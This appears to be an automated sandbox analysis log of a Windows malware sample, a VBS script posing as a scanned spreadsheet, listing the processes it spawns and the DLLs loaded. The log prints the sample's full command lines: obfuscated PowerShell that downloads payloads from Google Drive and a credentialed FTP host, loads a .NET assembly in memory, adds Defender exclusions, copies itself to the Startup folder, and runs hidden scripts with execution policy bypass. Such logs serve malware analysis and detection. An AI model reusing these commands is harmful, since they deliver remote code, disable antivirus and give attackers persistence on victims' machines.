Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\\x2.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
